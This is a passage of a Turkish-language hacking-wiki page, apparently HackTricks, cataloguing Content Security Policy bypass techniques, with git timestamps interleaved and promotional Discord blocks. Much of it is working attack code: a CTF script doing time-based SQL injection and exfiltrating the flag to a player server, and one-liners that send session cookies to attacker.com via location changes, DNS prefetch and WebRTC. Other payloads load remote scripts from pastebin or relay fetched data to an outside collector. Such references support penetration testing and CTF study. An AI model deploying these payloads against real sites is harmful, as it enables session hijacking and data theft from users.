CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendiriyorsa, yine de başarısız olacaktır.
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlatabilir.
2024-02-10 18:14:16 +00:00
İşte bir örnek:
```html
<!DOCTYPE html>
<html>
<head>
2024-02-10 18:14:16 +00:00
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
2024-02-10 18:14:16 +00:00
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Eğer CSP `https://www.google.com/a/b/c/d` olarak ayarlandıysa, yol dikkate alındığı için hem `/test` hem de `/a/test` scriptleri CSP tarafından engellenecektir.
Ancak, son `http://localhost:5555/301` **sunucu tarafında `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`** olarak **yönlendirilecektir**. Bu bir yönlendirme olduğu için, **yol dikkate alınmaz** ve **script yüklenebilir**, böylece yol kısıtlamasıılmış olur.
Bu yönlendirme ile, yol tamamen belirtilse bile, yine de aşılmış olacaktır.
Bu nedenle, en iyi çözüm, web sitesinin herhangi bir açık yönlendirme zafiyeti olmadığından ve CSP kurallarında istismar edilebilecek herhangi bir alan adı bulunmadığından emin olmaktır.
### Dangle markup ile CSP'yi aşma
[Buradan nasıl olduğunu okuyun](../dangling-markup-html-scriptless-injection/).
### 'unsafe-inline'; img-src \*; XSS aracılığıyla
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` kodun içinde herhangi bir script çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` ise web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir.
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi kötüye kullanır ve bir resim aracılığıyla bayrağı çıkarır):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
2022-06-28 23:06:59 +00:00
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **yüklemek**, **çıkarmak** ve **çalıştırmak** için "**unsafe-inline**"ı **kötüye kullanabilirsiniz** (normal bir XSS gibi): [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workers ile
Service workers **`importScripts`** fonksiyonu CSP tarafından sınırlı değildir:
2022-12-20 11:25:07 +00:00
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}
### Politika Enjeksiyonu
2023-01-04 12:21:48 +00:00
2024-02-10 18:14:16 +00:00
**Araştırma:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
2023-01-04 12:21:48 +00:00
#### Chrome
2024-04-06 19:40:41 +00:00
Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration** kısmına **yapıştırılıyorsa**, o zaman **politikayı** onu **işe yaramaz** hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
2023-01-04 12:21:48 +00:00
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Bu direktif mevcut script-src direktiflerini **geçersiz kılacağı** için.\
Burada bir örnek bulabilirsiniz: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
2024-04-06 19:40:41 +00:00
#### Edge
2023-01-04 12:21:48 +00:00
Edge'de çok daha basit. CSP'ye sadece bunu ekleyebilirseniz: **`;_`** **Edge** tüm **politikayı** **sil**.\
2024-02-10 18:14:16 +00:00
Örnek: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; XSS (iframe) aracılığıyla - Zaman saldırısı
Direktifin `'unsafe-inline'` eksikliğine dikkat edin.\
Bu sefer kurbanı **kontrolünüzdeki** bir sayfayı **XSS** ile **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
2024-04-06 19:40:41 +00:00
Bu sefer bir **bayrak** çıkarılacak, SQLi aracılığıyla **karakter doğru tahmin edildiğinde** **yanıt** **daha fazla zaman** alır çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
2024-02-05 20:00:40 +00:00
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
2024-02-10 18:14:16 +00:00
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
2024-02-10 18:14:16 +00:00
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
2024-02-10 18:14:16 +00:00
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
2024-02-10 18:14:16 +00:00
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
```
### Via Bookmarklets
2024-04-06 19:40:41 +00:00
Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır.
Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP'yi kısıtlayarak CSP atlatma
[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}
[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48) aracılığıyla **HTML injection** ile **CSP'yi** daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler **kaldırılarak** **giriş** devre dışı bırakılabilir, böylece onların **nonce**'ları kullanılabilir ve belirli inline script'ler **sha** ile etkinleştirilebilir:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS exfiltrasyonu ile Content-Security-Policy-Report-Only
2024-04-06 19:40:41 +00:00
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu sunucunuza yönlendirebilirsiniz ve eğer **sızdırmak istediğiniz** **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
Bir örnek için [**bu CTF yazısını kontrol edin**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
2020-09-09 09:16:35 +00:00
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### CSP ve Iframe ile Bilgi Sızdırma
2024-04-06 19:40:41 +00:00
* CSP tarafından izin verilen bir URL'ye (bunu `https://example.redirect.com` olarak adlandıralım) işaret eden bir `iframe` oluşturulur.
* Bu URL daha sonra CSP tarafından **izin verilmeyen** bir gizli URL'ye (örneğin, `https://usersecret.example2.com`) yönlendirir.
* `securitypolicyviolation` olayını dinleyerek, `blockedURI` özelliğini yakalayabilirsiniz. Bu özellik, engellenen URI'nin alan adınıığa çıkararak, ilk URL'nin yönlendirdiği gizli alan adını sızdırır.
2021-07-19 19:50:23 +00:00
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alma konusunda farklı davranışlar sergilediğini belirtmek ilginçtir; bu durum, tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.
2024-04-06 19:40:41 +00:00
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamaya ve ikili arama algoritmasına dayanır. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kod parçası:
2024-02-05 20:00:40 +00:00
```markdown
2021-07-19 19:50:23 +00:00
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt alan adındaki olası karakterleri daraltabilir ve nihayetinde tam URL'yi ortaya çıkarabilirsiniz.
2021-07-19 19:50:23 +00:00
Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerini kullanarak, görünüşte güvenli politikaların nasıl istemeden hassas bilgileri sızdırabileceğini göstermektedir.
2024-02-05 20:00:40 +00:00
[**buradan**](https://ctftime.org/writeup/29310) bir ipucu.
2021-07-19 19:50:23 +00:00
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
2023-02-27 09:28:45 +00:00
**Hacking Insights**\
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
2023-02-27 09:28:45 +00:00
**Real-Time Hack News**\
Hızla değişen hacking dünyasında güncel kalmak için gerçek zamanlı haberler ve bilgilerle takip edin
2023-07-14 15:03:41 +00:00
**Latest Announcements**\
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
2022-10-27 23:22:18 +00:00
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
2022-06-28 23:51:00 +00:00
## CSP'yi Aşmak için Güvensiz Teknolojiler
2022-06-28 23:51:00 +00:00
### Çok fazla parametre olduğunda PHP Hataları
Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak POST parametreleriyle de yapabilirsiniz ve 20'den fazla dosya). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hataya neden olacaktır.
### PHP yanıt tamponu aşırı yüklenmesi
PHP, varsayılan olarak **yanıtı 4096** bayt olarak **tamponlama** ile bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, **uyarıların içine yeterli veri sağlayarak**, **yanıt** **CSP başlığından önce** **gönderilecektir**, bu da başlığın göz ardı edilmesine neden olur.\
Sonra, teknik esasen **CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan** ibarettir.
2022-06-28 23:51:00 +00:00
[**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) bir fikir.
### Hata Sayfasını Yeniden Yazma
2024-04-06 19:40:41 +00:00
[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak bir CSP korumasını aşmak mümkün görünmektedir.
2022-06-28 23:51:00 +00:00
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
2024-02-10 18:14:16 +00:00
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
2022-06-28 23:51:00 +00:00
}, 1000);
```
### SOME + 'self' + wordpress
2024-04-06 19:40:41 +00:00
SOME, bir sayfanın **uç noktasında** bir XSS (veya çok sınırlı XSS) **istismar eden** bir tekniktir. Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kök içindeki gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** **erişebilir**. Daha fazla bilgi için kontrol edin:
2022-06-28 23:51:00 +00:00
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde **verileri** çıktıda **yansıtan** bir **JSONP** uç noktası bulunmaktadır (yalnızca harf, rakam ve nokta sınırlaması ile).
2022-06-28 23:51:00 +00:00
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenir**. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresini kontrol edin.
2022-06-28 23:51:00 +00:00
## CSP Exfiltration Bypasses
2022-04-20 21:55:42 +00:00
Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarı aktarmak için her zaman yapabileceğiniz bazı şeyler vardır.
2022-04-20 21:55:42 +00:00
### Location
2022-04-20 21:55:42 +00:00
Sadece konumu güncelleyerek saldırganın sunucusuna gizli bilgileri gönderebilirsiniz:
2022-04-20 21:55:42 +00:00
```javascript
2024-02-10 18:14:16 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
document.location = "https://attacker.com/?" + sessionid;
```
### Meta tag
2024-04-06 19:40:41 +00:00
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz)
2022-04-28 13:04:05 +00:00
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch
2022-04-28 13:04:05 +00:00
Sayfaları daha hızlı yüklemek için, tarayıcılar ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve bunları daha sonraki kullanım için önbelleğe alacaktır.\
Bir tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: `<link rel="dns-prefetch" href="something.com">`
2022-04-20 21:55:42 +00:00
Bu davranışı **DNS istekleri aracılığıyla hassas bilgileri sızdırmak için** kötüye kullanabilirsiniz:
2022-04-20 21:55:42 +00:00
```javascript
2024-02-10 18:14:16 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
Başka bir yol:
2022-04-20 21:55:42 +00:00
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Bu durumun yaşanmaması için sunucu şu HTTP başlığını gönderebilir:
2022-04-20 21:55:42 +00:00
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
2024-02-10 18:14:16 +00:00
Görünüşe göre, bu teknik başsız tarayıcılarda (botlar) çalışmıyor.
2022-04-20 21:55:42 +00:00
{% endhint %}
### WebRTC
2022-04-20 21:55:42 +00:00
Birçok sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz.
Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda bir göz atın:
2022-04-20 21:55:42 +00:00
```javascript
2023-08-27 19:27:30 +00:00
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
2022-04-20 21:55:42 +00:00
```
2024-02-10 18:14:16 +00:00
Başka bir seçenek:
```javascript
var pc = new RTCPeerConnection({
2024-02-10 18:14:16 +00:00
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## CSP Politikalarını Çevrimiçi Kontrol Etme
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## CSP'yi Otomatik Olarak Oluşturma
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Referanslar
2022-10-27 23:22:18 +00:00
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
2022-12-03 17:35:56 +00:00
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
2024-02-05 20:00:40 +00:00
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
2022-10-27 23:22:18 +00:00
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
2023-02-27 09:28:45 +00:00
**Hacking İçgörüleri**\
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
2023-02-27 09:28:45 +00:00
**Son Duyurular**\
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
2023-02-27 09:28:45 +00:00
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2024-01-02 18:28:27 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **@hacktricks\_live**'ı takip edin** 🐦.
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}